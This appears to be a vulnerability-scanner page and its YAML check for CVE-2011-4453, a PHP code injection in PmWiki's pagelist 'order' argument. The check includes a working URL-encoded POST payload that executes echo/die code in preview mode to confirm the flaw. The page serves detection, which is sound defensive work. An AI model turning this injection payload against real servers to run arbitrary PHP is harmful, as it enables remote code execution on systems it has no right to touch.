PmWiki — 1 vulnerability check

noctis ships 1 vulnerability check for PmWiki, covering 1 CVE; each one has to observe the bug on the live service before it reports a finding.

← All products · Feeds on GitHub

PmWiki pagelist order PHP code injection

CVECVE-2011-4453
Severityhigh · CVSS 7.5
Categoryrce — Remote code execution
Serviceshttp, https
Detectionscript, set_var, http_request, match · highest QoD 97
Feedtests/vulnerabilities/pmwiki/CVE-2011-4453.yaml

Detects the PHP code injection in PmWiki 2.0.0 through 2.2.34. The "order" argument of a (:pagelist:) directive is placed into PHP code that PmWiki evaluates when it renders a page. The test POSTs an edit request that is previewed but not saved, with a pagelist whose order value echoes NOCTIS followed by the product of two random integers. A reply containing NOCTIS and that product, which the request does not contain, confirms PHP execution. The code only prints a number; no page is stored and nothing is written.

How noctis detects it

  1. Parses / computes the next value with a Rhai script
  2. HTTP(S) request POST {{dir}}/pmwiki.php with a crafted body
  3. Parses / computes the next value with a Rhai script
  4. Checks vp for ^CODE_EXECUTED$ → finding QoD 97: PmWiki pagelist order argument executes PHP code — CVE-2011-4453

References:

Feed source — tests/vulnerabilities/pmwiki/CVE-2011-4453.yaml
# PmWiki 2.0.0 - 2.2.34 — the "order" argument of a (:pagelist:) directive is spliced into
# PHP code that is eval'd while the page is rendered (CVE-2011-4453).
#
# Detection (benign, nothing is written): POST action=edit WITHOUT post=save, so the page
# is only rendered as a preview and never stored. The text carries a pagelist whose order
# value closes the generated call and echoes NOCTIS followed by a product of two random
# integers, then stops. Seeing NOCTIS<product> in the reply, a value the request never
# contains, proves PHP executed it (QoD 97).
#
# Improvements over the source NASL: that check saves a page (and has to clean it up
# afterwards) and matches the static ">phpinfo()<" text; this one never stores anything and
# proves execution with a computed value, so a page that merely reflects the text cannot
# trigger it. The usual sub-directories are tried too.
#
# Ported from OpenVAS/Greenbone NVT 2011/gb_pmwiki_code_inj_vuln.nasl (GPL-2.0-only).
uid: 0d6b47c2-f167-466c-ac26-fe140d0e5267
name: "PmWiki pagelist order PHP code injection (CVE-2011-4453)"
description: |
  Detects the PHP code injection in PmWiki 2.0.0 through 2.2.34. The "order"
  argument of a (:pagelist:) directive is placed into PHP code that PmWiki
  evaluates when it renders a page. The test POSTs an edit request that is
  previewed but not saved, with a pagelist whose order value echoes NOCTIS
  followed by the product of two random integers. A reply containing NOCTIS and
  that product, which the request does not contain, confirms PHP execution.
  The code only prints a number; no page is stored and nothing is written.
cves: [CVE-2011-4453]
cvss: 7.5  # NVD publishes only a CVSS v2 base score (7.5) for this CVE
severity: high
category: rce
confidence_base: 0.30
tags: [pmwiki, wiki, php, code-injection, rce, intrusive]
services: [http, https]
author: noctis
version: "1.0.0"
references:
  - "https://nvd.nist.gov/vuln/detail/CVE-2011-4453"
  # OpenVAS/Greenbone NASL 2011/gb_pmwiki_code_inj_vuln.nasl (GPL-2.0-only)

steps:
  - id: gen-proof
    action: script
    code: |
      let a = rand_int(100000, 999999);
      let b = rand_int(100000, 999999);
      #{ a: "" + a, b: "" + b, prod: "" + (a * b) }
    store_as: sc

  - id: init-probe
    action: set_var
    var_name: probe
    var_value: {status: 0, body: ""}
    loop:
      var: dir
      over: ["", "/pmwiki", "/wiki"]

  - id: probe
    action: http_request
    method: POST
    path: "{{dir}}/pmwiki.php"
    port: "{{port}}"
    tls_insecure: true
    follow_redirects: false
    timeout_secs: 10
    headers:
      Content-Type: "application/x-www-form-urlencoded"
    body: "action=edit&n=Cmd.Shell&preview=Preview&text=%28%3Apagelist%20order%3D%27%5D%29%3Becho%20%22NOCTIS%22.%28{{sc.a}}%2A{{sc.b}}%29%3Bdie%3B%23%3A%29"
    store_as: probe

  - id: verdict
    action: script
    code: |
      let v = "";
      if type_of(probe.body) == "string" && ereg("NOCTIS" + sc.prod + "([^0-9]|$)", probe.body) { v = "CODE_EXECUTED"; }
      v
    store_as: vp

  - id: confirmed
    action: match
    source: vp
    pattern: '^CODE_EXECUTED$'
    on_match:
      finding:
        title: "PmWiki pagelist order argument executes PHP code — CVE-2011-4453"
        description: "A previewed (not saved) edit POST to {{dir}}/pmwiki.php with a pagelist whose order value echoes NOCTIS.({{sc.a}}*{{sc.b}}) returned NOCTIS{{sc.prod}}, which the request does not contain. A user who can edit or preview a page can run arbitrary PHP code with the rights of the web server."
        remediation: "Upgrade PmWiki to 2.2.35 or later, which no longer evaluates the pagelist order argument as code."
        confidence_delta: 0.65
        qod: 97
        evidence: "POST {{dir}}/pmwiki.php preview returned NOCTIS{{sc.prod}}"
      stop: true

View these feeds on GitHub